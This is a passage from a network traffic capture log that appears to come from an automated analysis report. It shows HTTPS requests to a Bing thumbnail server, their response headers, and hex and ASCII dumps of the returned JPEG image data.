yVIwB_sCvqj:B4yUg;*1jc}_5WGG"}>iq.Q/VRmWuLg-YJqL1QVF:?P[%+H3UWLmffvrvd~+jQEQEQEQE}},X
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: da da 38 2d 74 fb e5 92 37 bc b0 48 65 bb d3 ae 1d be 48 dd 43 a6 f4 fe e8 e8 71 fd ea e6 f5 2f 07 7c 44 bf f1 e3 f8 7f 4f d2 6c 5a fa ea 15 96 d2 e1 35 18 d5 66 8c ae ed f1 3b 60 3f cb f8 8a ed c3 50 95 79 73 de fd ce 65 89 8a 86 81 e0 ff 00 18 68 76 52 6b 9a a6 ad 69 e6 dc 45 69 0b 58 bc a8 cd 02 4d e6 61 c4 a7 f8 17 69 aa de 07 d5 2f 35 08 f5 9b 3d 35 e0 d6 ed ed ed fc a9 a1 49 fc af 94 f0 9c f3 f2 8f bf df 9a d3 f0 bd b6 a1 a7 68 f7 6b a8 47 22 ea 57 1f 7d de 0d cb 33 23 6d 41 d3 6c 8a ff 00 3a 1f f6 aa cf c3 5b dd 2b fb 37 c4 9e 1d 87 4d 8f 4b b8 f1 1e 9c ca f7 c9 6a ab f6 28 d1 86 f9 3b 73 e9 fe e5 7b 54 69 51 49 d3 6b fe 1c e7 a9 29 3d 4f 37 d7 be 14 f8 ba 5b d8 b5 1d 4a f6 d2 0b 79 62 55 0e ee bb 6e 58 c9 f2 aa 22 f5 5e 7a f1 51 f8 ae 35 d2 fc 10 Data Ascii: 8-t7HeHCq/\|DOlZ5f;`?PysehvRkiEiXMai/5=5IhkG"W}3#mAl:[+7MKj(;s{TiQIk)=O7[JybUnX"^zQ5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49729	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:20 UTC	346	OUT	GET /th?id=OADD2.10239402415261_1RYOARG5S55IRLQU7&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 04:46:20 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 644900 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: E7CB3925649D439B9EEB04524AE67DC7 Ref B: EWR30EDGE1117 Ref C: 2024-11-25T04:46:20Z Date: Mon, 25 Nov 2024 04:46:20 GMT Connection: close
2024-11-25 04:46:20 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 19 12 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 30 3a 31 37 20 31 32 3a 34 32 3a 30 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1 r2i``Adobe Photoshop 25.12 (Windows)2024:10:17 12:42:008
2024-11-25 04:46:20 UTC	16384	IN	Data Raw: e5 b5 59 48 c0 ea b4 d4 94 05 a3 ce cf 45 ae 73 52 4d 91 9a 49 23 05 78 a8 5a e9 13 87 a5 fb 64 27 f8 a8 b3 0b 99 97 d6 37 06 6c c7 f3 52 db 43 79 0f 2f 5a 4f 35 bb 2e 4b 54 32 34 0f f7 25 db 57 cc ec 4f 2a 4f 41 d0 c9 29 fe 1e 2a 7f 33 3d 76 d6 74 91 67 8f b6 6d 15 05 c2 3a ae 22 b9 dd fe ed 2e 44 c1 b3 4e 64 82 45 6c ad 63 5f c3 11 66 40 df 2d 4d 09 9d 3a b6 ea 9a 68 62 69 32 5b 96 ab 8f ba c4 fd e4 73 33 2d b8 66 4f 95 8f fb b5 34 70 58 34 3f 3e d5 6a b5 7d 61 6e d3 31 1b 94 ff 00 0b 55 3f b3 99 37 46 ad ba ba d4 93 47 33 8b 4c a7 75 a7 a3 73 1e d5 0b 54 24 b2 74 ad 67 b5 bb 8d b0 55 98 54 53 2c 86 3d 9b 5b fe f9 ad a3 51 f7 31 94 15 f6 31 e4 85 c3 66 a2 d8 fb 79 ad 96 b7 3d 0a d3 92 c4 32 d6 9e d1 11 ec ae 63 20 35 66 d4 ba b5 5c 93 4e 29 d2 93 ec 72 Data Ascii: YHEsRMI#xZd'7lRCy/ZO5.KT24%WOOA)3=vtgm:".DNdElc_f@-M:hbi2[s3-fO4pX4?>j}an1U?7FG3LusT$tgUTS,=[Q11fy=2c 5f\N)r
2024-11-25 04:46:20 UTC	16384	IN	Data Raw: e2 ee 6b 73 76 de e0 6e ab ab 3a 6d c8 ae 55 2f b1 56 22 d4 06 df bd 4b 95 8f 99 1d 24 73 a3 7f 15 4c 92 03 5c 9b 6a 7e 5c 9c 35 58 b5 d6 00 6f bd 52 e0 c3 46 74 eb 8a 5a cc b5 d4 62 95 7d ea ca 5c 21 fe 2a 8e 56 2e 52 d6 33 49 b4 54 5e 65 1e 6f fb 74 ac c3 95 93 51 80 6a bf 9a 29 16 e0 37 f1 51 ca c3 95 93 b2 e6 a3 f2 8d 39 65 06 9d bc 51 aa 0d 4a 57 56 31 ca d9 d9 cd 67 dc e8 31 b3 31 4d ab bb ef 56 e6 ec d3 b2 2a 94 9a 07 e6 71 f3 78 6e e0 c8 c4 6d c7 f0 fc b5 8d ab 68 f7 22 eb cb f2 37 1f ef 2d 7a 43 6c 35 13 db 46 cd bf 6f 35 71 ad 24 4b 8a 67 94 df e9 b3 da 36 27 89 94 b5 53 68 0f f7 5a bd 76 e7 4f 82 55 f9 a2 56 ff 00 80 d6 0e a9 e1 e3 24 d9 8e 25 db fd da de 38 8e e6 6e 9f 63 80 5b 69 1d b0 16 ac b6 95 72 23 67 4f 98 2f fd f5 5d 42 e8 4f b5 b2 bb Data Ascii: ksvn:mU/V"K$sL\j~\5XoRFtZb}\!V.R3IT^eotQj)7Q9eQJWV1g11MVqxnmh"7-zCl5Fo5q$Kg6'ShZvOUV$%8nc[ir#gO/]BO
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 41 ad c1 e1 db 9f 03 e9 d3 da 5f 69 97 57 2b 75 24 f6 8b fb b5 da 73 ce 79 da 07 18 3d eb cf 7c 1b a8 5d e9 f3 4f 2d b4 bb 5a 78 25 8d 59 98 74 d8 57 18 f7 26 bd 0f e1 17 c3 ff 00 18 6a 7e 1b 92 f6 c2 da 36 f3 17 ed 4d 24 92 23 6d 48 c8 c2 98 fa 92 7d 3b e6 bd 4a 90 8c 64 e7 37 a6 87 24 5c a4 94 52 3e cc f8 5f a3 47 e0 cf 84 36 76 fa 7e 98 b1 dc c7 62 27 92 d9 1b e6 9a e1 93 73 6e 6f 52 d5 f3 17 ed 03 ad 3d a6 b5 af 49 a9 f8 85 67 d7 5b 08 d1 44 bb 61 c0 1c a9 c7 f7 38 55 c6 32 72 6b d7 3e 36 6b ba ce 91 a2 e9 da 42 5b 32 c9 a9 c4 a5 6d ad b7 f9 97 52 90 03 2a aa 93 f2 83 fc 23 a7 1d 6b e7 af 19 68 37 37 52 5a e8 7a 66 83 77 79 e2 3d 4a 66 12 2b 31 79 37 ee c6 d6 8f f8 58 0e 4b 1f 4a f1 68 a4 ea f3 49 ee 7a 15 2f cb ca 91 d5 e8 89 65 e2 cf 83 f9 d5 7c 3d Data Ascii: A_iW+u$sy=\|]O-Zx%YtW&j~6M$#mH};Jd7$\R>_G6v~b'snoR=Ig[Da8U2rk>6kB[2mR*#kh77RZzfwy=Jf+1y7XKJhIz/e\|=
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: ac 98 1a 7f 69 23 8d d5 2c 77 64 56 50 93 35 22 b5 2e 54 1a 9a f1 dd 67 f8 aa 64 9d fa 6e ac 84 90 0a 9a 3b a0 1b 73 54 38 76 29 33 72 17 73 d5 aa dd b0 c2 e7 bd 61 47 7e 87 eb 53 a6 a1 85 fb d5 9b 83 1f 32 36 51 8a c9 56 52 4c ff 00 15 73 ad a9 62 98 ba b3 86 a5 ec e4 3e 73 ab 49 b6 f1 52 7d ab 6a e4 fc b5 cb 47 aa c8 ff 00 71 5a a3 7d 5e 7e 95 3e c9 95 ed 11 d5 be a0 02 fd ea 8a 4d 48 0f e2 ae 4a 6d 42 56 eb 51 ad eb 9a a5 44 9f 68 74 b7 37 e1 bf 8a ab 49 3e ff 00 e2 ac 36 b9 72 d9 a3 ed 4f eb 54 a9 b2 79 ee 69 5c 3e 6a b3 9c d5 46 b8 72 b4 8b 39 aa e5 61 cc 5b 54 cd 3b c8 cd 45 0c e2 a7 8e 51 52 1b 82 db 82 d8 a7 fd 97 e5 a3 cc 05 b8 ac 3f 13 78 96 38 a4 6d 3e cf 74 92 fd c9 64 5f bb 19 fe ef d6 a2 72 51 57 7b 15 18 b6 ec 8c 7f 1a 6b 31 c1 6f 2b c0 de Data Ascii: i#,wdVP5".Tgdn;sT8v)3rsaG~S26QVRLsb>sIR}jGqZ}^~>MHJmBVQDht7I>6rOTyi\>jFr9a[T;EQR?x8m>td_rQW{k1o+
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 3e ed c6 4f cd 5c ef 83 d3 52 8e ea e7 53 bc be 69 61 ba 6c f9 12 47 b7 ec e7 3c f3 dc 7a 56 dd e1 1e 62 de 79 fb 6d e3 43 e6 7f 4a 87 b9 ad 89 75 09 56 08 5a 79 25 d9 1c 6b 96 6e 83 02 b8 7b 6f 1f dc ea ed e5 e8 5a 44 92 47 f6 91 6d 25 dc ec 16 38 dc fa 81 cf 4e 6b 9f f8 89 e3 3f ed 3d 06 4d 1b fd 44 8d 3c 89 f7 b7 79 d1 8f f5 6d c7 4c fa 57 9d 69 5e 27 d5 7c 3d 25 e2 5b cb b6 39 e3 d9 24 4c c3 ef 83 95 6f 62 2b b2 96 19 c9 36 f7 39 e5 59 45 a4 7a ef 8d b5 4f 10 69 7b 83 ea b7 2e b3 c9 88 e5 5b 64 8d 17 1e 98 24 fe 75 cf c2 fa dd ca b4 f2 ff 00 68 4f 6a cb be 49 24 53 b3 8e 72 09 e2 b3 75 ed 72 ef 58 f8 3b 00 bc d4 d6 e6 f2 de f0 1f 36 36 e6 40 c0 9c 32 ff 00 79 7a 71 54 74 ff 00 14 5f dc 58 db 45 a8 5e 5c cb 6d 6a b1 c6 b1 2b 6d 59 82 76 6c 56 94 e9 35 Data Ascii: >O\RSialG<zVbymCJuVZy%kn{oZDGm%8Nk?=MD<ymLWi^'\|=%[9$Lob+69YEzOi{.[d$uhOjI$SrurX;66@2yzqTt_XE^\mj+mYvlV5
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: dc f0 8d 56 31 14 8b 07 9b 1c 9e 5c 87 74 8b f7 5b 9e a2 b3 af 3e 79 18 7f 77 8a dd f1 cb 59 1d 4a 31 a7 c4 cb 6d 6c c6 18 d9 be fc 88 0e 41 70 3f 8b 93 58 97 44 7d b2 42 1e be a6 94 af 14 cf 1a 6b 56 8d ef 84 f7 d6 7a 5f 8d 2c 75 0b f8 b7 47 13 1d ad ff 00 3c df 18 57 fc 0d 7a d7 83 14 5d ea 10 cf e6 c9 2c d7 53 9b c9 65 fe f6 dd ea 33 e8 a0 7f 31 5e 4f f0 be de 3b bf 12 2d a5 c3 79 6b 3c 72 06 91 7e 66 50 10 b1 03 dc ed c6 7b 66 be 89 bf f1 01 f0 c7 c2 76 b3 97 4c b2 82 5d 61 2c ec a5 fb 35 be db 88 e3 f3 07 ca af eb 83 f9 d7 93 99 34 ea 24 b7 67 6e 0f e1 6d ec 73 7a 1d bd c2 7f 6d 78 f2 f2 2d d2 5f 37 d8 f4 f8 9b 2d fb a0 76 9f fb e8 80 3f e0 26 b1 be 2d 18 d3 49 50 9b 98 70 9e 52 ae d4 84 8c f6 f5 20 67 15 dc 78 fa e2 c1 da 3d 2e 3b 38 ed 2d 22 9e 34 Data Ascii: V1\t[>ywYJ1mlAp?XD}BkVz_,uG<Wz],Se31^O;-yk<r~fP{fvL]a,54$gnmszmx-_7-v?&-IPpR gx=.;8-"4
2024-11-25 04:46:21 UTC	16067	IN	Data Raw: 77 a8 27 e6 eb df 6d 6d fc 37 9c b7 8d a5 d4 ee da 79 7c db 46 4b 69 25 c2 b3 00 00 f9 bd f6 8c 55 5b 3d 2a 2b fd 27 50 d5 ee 37 7d 8d 53 cc b6 69 1b e6 90 ef c3 67 9c e0 1e 2b a4 f8 3b a1 dc 6b 1e 38 b5 b4 1b 60 37 51 e6 36 93 ee c2 09 19 66 cf a2 f6 ef 5d b1 a9 14 9f 91 cf c8 db 47 b5 fe cf 7e 05 b9 f1 3f 88 20 d7 6e ff 00 73 a6 e9 97 71 bf 96 cb b9 ae a4 4c 3e c5 f4 00 ed c9 ae fb f6 82 f1 5d ee 89 e7 da c7 02 c9 7d 75 03 49 1a 33 6e f2 50 75 7c 0f 7e 82 b4 ec f5 88 fc 21 a2 c7 18 f3 2e 74 ab 5b 25 36 57 cd 18 46 bc 90 e7 e5 c0 e9 83 fa 57 84 f8 9b 5a bb d7 3c 4c da de a8 cd 29 56 61 7d b6 4d be 76 70 91 c4 84 74 50 4e 7f 2f 5a f1 b1 15 e5 39 dc f4 a9 d3 8a 8d 91 e1 5f 1b 35 2b b5 f1 34 73 c4 d7 71 99 14 cd 27 99 ff 00 2d 1d b1 93 8f a7 6e d5 8d e3 cd Data Ascii: w'mm7y\|FKi%U[=*+'P7}Sig+;k8`7Q6f]G~? nsqL>]}uI3nPu\|~!.t[%6WFWZ<L)Va}MvptPN/Z9_5+4sq'-n
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: fe 65 d3 da 55 c4 ad f2 ee f9 79 00 e3 f3 a3 c2 42 3b 69 a2 9e 79 59 4e e2 36 af fb 3d 7f 5a a2 a4 3b 71 b9 56 2e 7f da c9 e9 56 54 9b 59 30 57 fd 5e 3e 5f 73 cd 4c b5 56 1a d1 dc d9 d4 b5 1b 79 6d e0 88 ed f2 d6 79 4b 6d fc 00 3f a5 62 6a 4f 9f f4 41 b7 62 b7 e8 29 d6 18 37 12 17 5f dd c9 27 ca be d5 59 6c ee ee ee 25 82 1d be 64 7c f9 6c db 5e 41 db 68 3f 7b e9 d6 a6 11 51 63 6d b2 3b 16 8d 55 50 c5 c7 99 9f 33 77 cd 8f ee 8a f7 6f d9 27 5b b0 f0 57 c5 0b 3b 84 d4 1b ec 9a c4 12 47 2c 2d 1e e7 64 54 2d 19 1b 7f 88 b2 f0 2b 84 f0 6f c1 8f 89 5e 2a d6 20 d3 b4 bf 0a dc c6 9b 43 35 cd df ee 60 84 1e 72 ee 7f 90 c9 f6 af a0 fc 23 fb 24 be 9f 7d 6d 3e af e3 19 e6 58 ad 8f 99 fd 9f 07 d9 e4 59 06 00 11 b3 16 f9 71 9e 48 cd 72 62 eb d2 e5 e5 72 df b1 d1 46 8d Data Ascii: eUyB;iyYN6=Z;qV.VTY0W^>_sLVymyKm?bjOAb)7_'Yl%d\|l^Ah?{Qcm;UP3wo'[W;G,-dT-+o^* C5`r#$}m>XYqHrbrF
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 05 fc 36 3f d8 f6 11 b1 13 ac b9 32 5c 3a af 54 e0 7e ef 77 73 cf 15 cf 8a a9 52 29 59 d9 1b 61 e1 06 dd d6 a7 4b 6d 69 e5 b3 49 b6 38 e4 b9 e6 5d 8a 36 fd 3f 0f 5a bb 0b 6d 5f bc ac 2b 32 d6 da 78 1a 2d f2 c9 78 64 97 ee af dd c7 7c fb 55 db 6d 34 43 71 e6 4a cd 2e d9 0b c7 ff 00 4c f3 d8 57 96 77 97 51 df fd 9a 9d 0b ed a8 a3 8b f7 99 a9 93 25 69 a4 63 2b 74 1c a6 96 9a ad fb c6 1f dd c5 52 d7 35 3b 6d 3e dd bc d9 d6 39 1b 1b 57 f8 b9 38 e9 54 42 4e e5 fc 81 4d 66 02 ab df 48 b6 d6 6d 23 b7 3b 7e 55 5f bc de d5 8f e1 8b cd 5b 56 8f ce d4 2c 5b 4f 55 63 b6 0d db 9e 40 0e 03 31 fe 1c fa 75 a5 77 62 94 51 d0 6f 07 a3 2f cb 50 35 d2 19 36 27 5a 7c 70 00 bc aa e7 fd 9a 91 63 40 b8 0b 46 ac 3d d4 33 32 36 dc 7c b5 22 8c 54 57 77 31 41 1b 12 dc af f0 af de aa Data Ascii: 6?2\:T~wsR)YaKmiI8]6?Zm_+2x-xd\|Um4CqJ.LWwQ%ic+tR5;m>9W8TBNMfHm#;~U_[V,[OUc@1uwbQo/P56'Z\|pc@F=326\|"TWw1A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49728	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:20 UTC	375	OUT	GET /th?id=OADD2.10239399109664_12R6JVR4SJZQSTHCV&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 04:46:20 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 634317 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: EC16DEBFE05346F5A944495FC9A9D597 Ref B: EWR30EDGE0218 Ref C: 2024-11-25T04:46:20Z Date: Mon, 25 Nov 2024 04:46:20 GMT Connection: close
2024-11-25 04:46:20 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 15 70 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 33 38 3a 30 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``pExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:38:058
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: bc 8a bb 76 fa 52 78 ef 6b ef 3b 5e c7 74 30 d0 a6 fd dd df 99 cf 78 9b c3 d6 7a dc 68 da 87 97 67 79 6e 8b 2a 5c 43 f3 6f fc 0b 7c df 4e 2b 8c bc be 9f 4b d6 16 c7 50 b4 92 58 f7 ff 00 a3 dc 43 bb 6c ca 3a 1f f6 6b d0 bc 45 68 be 5e d6 9e 0b 7b a5 ff 00 5c e9 f3 79 cb 5c 27 8b 2f e7 d2 35 28 6d ef 2d 27 f2 e5 db ff 00 5c b6 d7 a5 87 fd f4 3d 9b 5c d6 5a 2b d9 fc 99 e7 66 34 61 07 ce 97 2b d3 55 d7 d7 fc cb 91 bd a4 b2 24 d7 10 6d db bb 63 a7 cb f3 74 e4 7f 7a 92 c6 26 82 ea ee f3 fb 4a 46 b5 8a 1d de 4f 96 ca c9 df 35 52 de f2 3d 5a 0d ab e4 5c 2e ff 00 be ef e9 ef 4f 87 51 fb 64 ff 00 67 93 cb f3 2d e5 68 bf bb be b8 5c 6a a5 28 da dd d7 65 f3 39 1f 2b 6a ff 00 22 e5 c4 12 dc 68 68 b0 f9 6b 37 fa d8 5d 3f bd f7 b8 e6 b0 f4 9b c9 ef 6e b6 fd 82 08 99 b7 Data Ascii: vRxk;^t0xzhgyn*\Co\|N+KPXCl:kEh^{\y\'/5(m-'\=\Z+f4a+U$mctz&JFO5R=Z\.OQdg-h\j(e9+j"hhk7]?n
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 3e fd af 25 6f 53 56 6b cb 69 a0 fb 0e a5 fe b3 7a ff 00 ae 76 6f 9b 6e 7e f7 a7 a5 66 ea d6 92 e9 da 6c d3 5a f9 fe 5c ff 00 eb b7 cf f2 ed 3e ff 00 ec f6 a9 ee 35 1f 3f 46 49 ae 2d 3e 6d 8b f3 a2 7f ec a6 a9 78 a1 ef 1e d6 e2 6d 37 f7 b2 5d 43 b5 d3 ef 2b b0 c7 af f1 57 46 12 35 23 52 30 7a 45 bd 53 7a 5e e4 4a 16 bb b6 b6 f9 8b 70 22 7b 1f b7 6a 1f 35 bd ac df 3e cd d1 32 30 fb 8c 54 e6 aa e9 7e 29 8a 5b af 2e ea 4f dc ef 68 a1 99 11 57 e5 1f fb 37 b5 65 f8 4e e3 51 b3 ba 89 af a4 91 a4 bc f3 17 63 a3 2f 46 f7 e1 b3 5b de 26 b3 6b ad 29 ed e6 f3 16 4b 57 dd 6f 32 7c dd 7f f4 35 c5 7a 55 a9 d1 a7 5b d8 d6 f7 93 d9 a7 b2 eb 65 eb bf 73 28 ca 53 8b 9c 55 99 34 77 f6 6f a6 db b2 cf 1d c2 ae e5 9b 66 df 91 8f af f7 6a 39 0b 4b 3e e8 7c fb 85 b7 89 97 63 ff Data Ascii: >%oSVkizvon~flZ\>5?FI->mxm7]C+WF5#R0zESz^Jp"{j5>20T~)[.OhW7eNQc/F[&k)KWo2\|5zU[es(SU4wofj9K>\|c
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 1e ba de b3 49 f6 06 89 d9 5f ed 68 db 7f ef b4 dc 2a a3 88 a7 27 65 25 72 65 46 a2 57 71 76 f4 3a f6 0c b4 df 9b cc db 55 74 fd 4e 2b fb 5f b4 59 cf 6b 71 0b 7f cb 68 9f 72 fe 95 2b 5c ca bf dc ad 35 25 58 99 bf bd 4d f9 bf 8a a3 f3 e4 fb bf bb a1 6e 25 6f bd e5 d0 17 44 8a 7f 79 44 9b a9 be 7f f1 79 7b aa 36 9f fe 99 d1 7b 8f 71 f8 dd 26 ea 5f bd f7 a3 db fe e5 46 d3 ed f9 bc ba 74 72 7f d3 4a a6 1a 77 17 fe d9 ee a1 bf bb 43 14 5f f7 a9 19 e3 59 36 f9 9f 35 48 c2 42 be 5f cb 4e f9 4f de 92 88 f6 ff 00 cf 4a 74 91 ee 8f e5 a9 e6 d0 7c a3 7e f4 7b a9 18 ff 00 15 2a c1 fb ca 1a 2d df 33 51 74 c1 21 19 7f 79 ba 97 1f de a6 b2 7f df 34 bb 3f 85 7e f5 26 2b 30 90 7f 15 2f 4a 6f 97 fc 2d 42 ee f3 3f dd a6 16 63 9b fb b4 d6 1b b6 6d a3 0f ff 00 02 a5 54 66 a5 Data Ascii: I_h'e%reFWqv:UtN+_Ykqhr+\5%XMn%oDyDy{6{q&_FtrJwC_Y65HB_NOJt\|~{-3Qt!y4?~&+0/Jo-B?cmTf
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: d2 ba 3f ee a5 86 3e 1a 3f 2d db ef 71 fc 07 e5 cd 4d e2 ab 68 25 f8 79 a7 4d 75 69 f6 29 ad 5f 6d c2 26 df b5 3c 61 5d 15 9f fe 07 ee 71 59 e3 28 d0 c4 63 62 9d a2 f9 b9 5a 8a 57 d1 35 16 d5 93 69 db 4d 3f e0 dd 37 3f 66 e4 bb 7f c3 94 fc 3b 37 8b 34 7d 0e 69 23 fb 5b 5c 44 eb 12 7c 91 b2 cc bb 78 11 b2 1d df 28 fa ab 0a d4 f1 85 ed b2 f8 76 1f b1 db c1 67 aa 5f da 5b b4 cf 70 8c d2 cc a7 f8 53 d3 3d 4f e7 59 df 06 f5 0d 15 ee ed 16 fa 48 2d e6 b5 b7 65 49 bc b6 55 79 0b 7f 1e de 5f fd 9f 4a 67 8d 3c 23 79 7b e2 0d 3f cc d7 63 ba 6f 35 57 63 bf cb 32 ff 00 1b 7f b1 fe eb 75 f6 ae ba ce 82 cd 9d 3c 52 f6 6e 37 95 d2 6b 9b ad ac ae 9a d1 6e fa f6 1c 64 dd 1b c7 5b e8 74 1e 3a d2 59 a4 d2 f5 49 23 f3 5a df 4e db 0d da 3f 95 14 2c 8d b9 97 9f f7 f1 83 d7 a8 Data Ascii: ?>?-qMh%yMui)_m&<a]qY(cbZW5iM?7?f;74}i#[\D\|x(vg_[pS=OYH-eIUy_Jg<#y{?co5Wc2u<Rn7knd[t:YI#ZN?,
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: da f6 4b 7d 1e 69 23 6f e2 79 a1 9f c8 64 50 bc 75 fb df ee 9f c2 96 eb 47 f3 e4 69 23 92 49 5a 27 fd f4 3e 7a af 45 dc 4f f4 f9 be 95 e3 55 94 61 52 52 ae dc 25 2b eb 64 95 af a7 93 7e 6d 1d 6e 7e ea 51 2a 46 25 b5 be 79 2d e3 8f cc d9 f7 3c 85 6d 8a 7a b7 15 06 9e f0 36 95 6f 67 35 df fa 2c 1f 32 6f 76 f9 24 dd b7 fe 03 9c d5 9d 72 09 f4 b9 fc 9b 59 ee ad e1 df b5 d2 ef 6b 7c db be e7 e0 a6 a8 b5 f5 e5 bd dc cd 34 76 bb be 55 de 89 f2 ee fc 33 5d 94 e6 b1 14 d4 a8 f5 eb 7e df 2f 33 19 49 ad 3a 0d d7 af 2f b4 e8 d2 ea 38 e0 56 57 f9 1f fb f8 5d dc b6 7a d5 1d 3f 5d 9d b6 59 ad 85 ad d2 dc 26 d7 74 db f3 e5 b7 ed 7e fc 35 49 75 3d cc b6 af 24 36 9b 63 95 ff 00 7c fb f7 2b b7 b7 f7 7e f5 61 de 3c b6 ba 8c 32 2b c7 14 9f df 4f 99 5f b7 6a f4 70 d8 58 4e 9f Data Ascii: K}i#oydPuGi#IZ'>zEOUaRR%+d~mn~Q*F%y-<mz6og5,2ov$rYk\|4vU3]~/3I:/8VW]z?]Y&t~5Iu=$6c\|+~a<2+O_jpXN
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 2d 26 c7 fb 36 7b 55 6b bf b4 a2 4c 8c bf 31 fb cd b8 73 fc 5d 6b b6 f8 a7 a9 4f a5 68 f6 f6 2d 77 3f 97 15 de df 9d fc a9 ed 6e 42 f0 cb b0 7e f1 76 b5 4d 1e 8b 67 17 88 2c 66 d5 2e ee 95 a5 db 22 5e 7d aa 3f 9d 93 fe 59 f9 7f c0 a3 df f3 ae 6f e2 b6 b7 a8 58 5a ea 3a 3d f7 9f aa 5a b5 a7 9b 14 c9 03 32 d9 b0 fb ad dc a1 ec 4e 76 d7 9b 4e b4 33 8c c2 85 a2 bd d5 76 b6 bd dd b4 6e fb 5f 66 d3 e9 e4 74 d3 a7 c9 4e a7 33 fe af b1 d6 e8 fa f4 5a df 88 2e 34 18 e3 fb 55 8d aa 6e ff 00 8f ad cc ed fe cb 70 fc d4 5f 62 d0 d7 4a 7f 08 da db a2 c2 de 67 d9 9d 11 7c d8 5b ef 67 7f 5d df ef 7d 2b 82 f0 5c 3a 7e 8d a6 da 78 a1 b5 37 5b eb a8 7c ab bf 36 7f 97 e7 6c 89 17 23 3f 2a fe 0d d8 e6 ae 78 bd bf b3 3c 54 91 c3 71 74 d6 3a a5 